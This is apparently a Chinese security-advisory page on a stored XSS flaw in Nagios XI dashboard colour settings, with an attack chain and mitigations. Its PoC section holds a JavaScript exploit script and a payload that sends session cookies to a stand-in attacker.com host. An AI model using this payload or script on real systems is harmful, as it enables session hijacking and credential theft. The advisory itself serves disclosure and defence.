IPBUF安全漏洞报告
English
CVE-2020-36864 CVSS 5.4 中危

CVE-2020-36864: Nagios XI仪表盘背景颜色设置跨站脚本漏洞

披露日期: 2025-10-30

漏洞信息

漏洞编号
CVE-2020-36864
漏洞类型
XSS(跨站脚本攻击)
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
Nagios XI

相关标签

CVE-2020-36864XSS跨站脚本攻击存储型XSSNagios XINagios网络监控Web应用安全CWE-79MEDIUM

漏洞概述

CVE-2020-36864是Nagios XI产品中的一个存储型跨站脚本(Stored XSS)漏洞。该漏洞影响5.7.2之前的所有Nagios XI版本。攻击者可以通过仪表盘(Dashboards)功能中的背景颜色设置(background color settings)注入恶意JavaScript代码。由于系统对用户输入的验证和转义处理不足,恶意脚本会被永久存储在系统中。当其他用户访问包含恶意代码的仪表盘时,攻击者注入的脚本将在受害者浏览器上下文中执行,可能导致会话劫持、敏感信息窃取、钓鱼攻击等安全问题。由于该漏洞需要低权限账号且需要用户交互才能触发,因此CVSS评分定为5.4(中危)。

技术细节

Nagios XI的仪表盘功能允许用户自定义界面外观,包括背景颜色设置。漏洞产生的根本原因在于系统对用户提供的颜色值(如十六进制颜色代码#RRGGBB或颜色名称)缺乏充分的输入验证和输出编码。攻击者可以在颜色值字段中插入恶意JavaScript代码,如:'><img src=x onerror=alert(document.cookie)>。该payload会被存储在数据库中,并在仪表盘页面渲染时未经适当转义就直接输出到HTML中。当受害者(其他用户或管理员)访问该仪表盘时,浏览器会解析并执行注入的脚本代码。攻击者可以利用此漏洞窃取用户会话cookie、冒充合法用户执行操作、修改页面内容进行钓鱼攻击,或将用户重定向到恶意网站。由于脚本在受害者登录状态下执行,攻击者可获取完整的认证凭据。

攻击链分析

STEP 1
步骤1
攻击者获取Nagios XI低权限账户访问权限
STEP 2
步骤2
攻击者登录系统并导航至仪表盘(Dashboard)自定义设置页面
STEP 3
步骤3
攻击者在背景颜色设置字段中注入恶意JavaScript代码作为XSS payload
STEP 4
步骤4
恶意payload被存储在数据库中,保存到仪表盘配置中
STEP 5
步骤5
受害者(其他用户或管理员)访问包含恶意代码的仪表盘页面
STEP 6
步骤6
服务器将未转义的用户输入直接输出到HTML响应中
STEP 7
步骤7
受害者浏览器解析HTML时执行注入的恶意JavaScript代码
STEP 8
步骤8
攻击者通过JavaScript窃取受害者的会话cookie或其他敏感信息

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2020-36864 PoC - Nagios XI Dashboard Background Color XSS // This PoC demonstrates the stored XSS vulnerability in Nagios XI // Target: Nagios XI < 5.7.2 Dashboard Settings const axios = require('axios'); // Configuration const TARGET_URL = 'http://target-nagios-xi.local'; const ATTACKER_COOKIE = 'PHPSESSID=attacker_session_cookie'; // Malicious XSS payload - Steals session cookie const XSS_PAYLOAD = "'><script>fetch('https://attacker.com/steal?c='+document.cookie)</script>"; async function exploitXSS() { try { // Step 1: Authenticate with low-privilege account const loginData = { username: 'lowpriv_user', password: 'password123' }; await axios.post(`${TARGET_URL}/nagiosxi/login.php`, loginData, { headers: { 'Cookie': ATTACKER_COOKIE } }); // Step 2: Navigate to Dashboard Settings await axios.get(`${TARGET_URL}/nagiosxi/index.php/dashboard`, { headers: { 'Cookie': ATTACKER_COOKIE } }); // Step 3: Inject XSS payload via background color setting const dashboardConfig = { widget_id: 'custom_dashboard', background_color: XSS_PAYLOAD, // Inject malicious payload dashboard_name: 'Compromised Dashboard' }; await axios.post( `${TARGET_URL}/nagiosxi/api/v1/dashboard/settings`, dashboardConfig, { headers: { 'Cookie': ATTACKER_COOKIE, 'Content-Type': 'application/json', 'X-Requested-With': 'XMLHttpRequest' } } ); console.log('[+] XSS payload injected successfully'); console.log('[+] Payload stored in dashboard background_color setting'); console.log('[+] Any user viewing this dashboard will trigger the payload'); } catch (error) { console.error('[-] Exploitation failed:', error.message); } } exploitXSS(); // Alternative: Manual exploitation via browser console // 1. Login to Nagios XI with low-privilege account // 2. Go to Dashboard > Customize > Background Color // 3. Enter: '><img src=x onerror=alert(document.cookie)> // 4. Save dashboard // 5. When any user visits this dashboard, XSS triggers

影响范围

Nagios XI < 5.7.2

防御指南

临时缓解措施
在官方补丁发布前,可采取以下临时缓解措施:1)限制低权限用户对仪表盘自定义功能的访问;2)在Web应用防火墙(WAF)上配置XSS防护规则,拦截包含<script>标签和事件处理器属性的请求;3)启用HTTPOnly和Secure标志保护会话cookie;4)监控Nagios XI的访问日志,关注异常的仪表盘设置操作;5)考虑禁用仪表盘背景颜色自定义功能直到完成升级。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表